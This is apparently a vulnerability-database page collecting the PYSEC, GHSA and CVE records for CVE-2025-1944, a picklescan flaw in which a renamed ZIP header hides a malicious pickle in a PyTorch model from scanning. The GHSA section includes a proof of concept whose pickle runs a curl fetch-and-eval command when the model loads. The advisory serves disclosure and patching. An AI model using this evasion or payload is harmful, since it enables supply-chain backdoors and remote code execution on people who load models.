pysec - pysec-2025-20

PYSEC-2025-20

Vulnerability from pysec - Published: 2025-03-10 12:15 - Updated: 2025-04-09 17:27

Details

picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Impacted products

Name	purl
picklescan	pkg:pypi/picklescan

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan",
        "purl": "pkg:pypi/picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "e58e45e0d9e091159c1554f9b04828bbb40b9781"
            }
          ],
          "repo": "https://github.com/mmaitre314/picklescan",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1944",
    "GHSA-7q5r-7gvp-wc82"
  ],
  "details": "picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch\u0027s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.",
  "id": "PYSEC-2025-20",
  "modified": "2025-04-09T17:27:26.966215+00:00",
  "published": "2025-03-10T12:15:10+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82"
    },
    {
      "type": "EVIDENCE",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944"
    },
    {
      "type": "FIX",
      "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7Q5R-7GVP-WC82

Vulnerability from github – Published: 2025-03-10 18:26 – Updated: 2025-04-09 20:13

Summary

Zip Exploit Crashes Picklescan But Not PyTorch

Details

Summary

PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.

Details

Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.

PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.

PoC

import os
import torch

class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)


model = RemoteCodeExecution()
file = "does_not_scan_but_opens_in_torch.pth"
torch.save(model, file)

# modify the header to cause the zip file to raise execution in picklescan
with open(file, "rb") as f:
    data = f.read()

# Replace only the first occurrence of "data.pkl" with "datap.kl"
modified_data = data.replace(b"data.pkl", b"datap.kl", 1)

# Write back the modified content
with open(file, "wb") as f:
    f.write(modified_data)

# Load the infected model
torch.load(file)

Impact

Severity: High

Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.
What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.
Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.

Recommendations

Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.
Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-10T18:26:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch\u0027s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.\n\n### Details\n\nPython\u0027s built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.\n\nPyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.\n\n### PoC\n```\nimport os\nimport torch\n\nclass RemoteCodeExecution:\n    def __reduce__(self):\n        return os.system, (f\"eval \\\"$(curl -s http://localhost:8080)\\\"\",)\n\n\nmodel = RemoteCodeExecution()\nfile = \"does_not_scan_but_opens_in_torch.pth\"\ntorch.save(model, file)\n\n# modify the header to cause the zip file to raise execution in picklescan\nwith open(file, \"rb\") as f:\n    data = f.read()\n\n# Replace only the first occurrence of \"data.pkl\" with \"datap.kl\"\nmodified_data = data.replace(b\"data.pkl\", b\"datap.kl\", 1)\n\n# Write back the modified content\nwith open(file, \"wb\") as f:\n    f.write(modified_data)\n\n# Load the infected model\ntorch.load(file)  \n```\n\n### Impact\n\nSeverity: `High`\n\n- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.\n\n- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.\n\n- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.\n\n### Recommendations\n\n- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.\n\n- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.",
  "id": "GHSA-7q5r-7gvp-wc82",
  "modified": "2025-04-09T20:13:35Z",
  "published": "2025-03-10T18:26:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-20.yaml"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Zip Exploit Crashes Picklescan But Not PyTorch "
}

CVE-2025-1944 (GCVE-0-2025-1944)

Vulnerability from cvelistv5 – Published: 2025-03-10 11:30 – Updated: 2025-03-10 12:09

Summary

Severity ?

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L

CWE

CWE-345 - Insufficient Verification of Data Authenticity

Assigner

Sonatype

References

URL

Tags

	https://sites.google.com/sonatype.com/vulnerabili…	third-party-advisory
	https://github.com/mmaitre314/picklescan/security…	vendor-advisory
	https://github.com/mmaitre314/picklescan/commit/e…	patch

Impacted products

	Vendor	Product	Version
	mmaitre314	picklescan	Affected: 0.0.1 , < 0.0.23 (python)

Credits

Trevor Madge (@madgetr) of Sonatype

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-1944",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-10T12:08:11.236471Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-10T12:09:36.612Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "picklescan",
          "vendor": "mmaitre314",
          "versions": [
            {
              "lessThan": "0.0.23",
              "status": "affected",
              "version": "0.0.1",
              "versionType": "python"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Trevor Madge (@madgetr) of Sonatype"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch\u0027s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.\u003cbr\u003e"
            }
          ],
          "value": "picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch\u0027s more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "LOW",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "LOW",
            "userInteraction": "PASSIVE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "LOW",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-345",
              "description": "CWE-345 Insufficient Verification of Data Authenticity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-03-10T11:30:32.896Z",
        "orgId": "103e4ec9-0a87-450b-af77-479448ddef11",
        "shortName": "Sonatype"
      },
      "references": [
        {
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944"
        },
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "picklescan ZIP archive manipulation attack leads to crash",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "103e4ec9-0a87-450b-af77-479448ddef11",
    "assignerShortName": "Sonatype",
    "cveId": "CVE-2025-1944",
    "datePublished": "2025-03-10T11:30:32.896Z",
    "dateReserved": "2025-03-04T12:59:33.809Z",
    "dateUpdated": "2025-03-10T12:09:36.612Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2025-20

GHSA-7Q5R-7GVP-WC82

Summary

Details

PoC

Impact

Recommendations

CVE-2025-1944 (GCVE-0-2025-1944)

Tags

Sightings

Nomenclature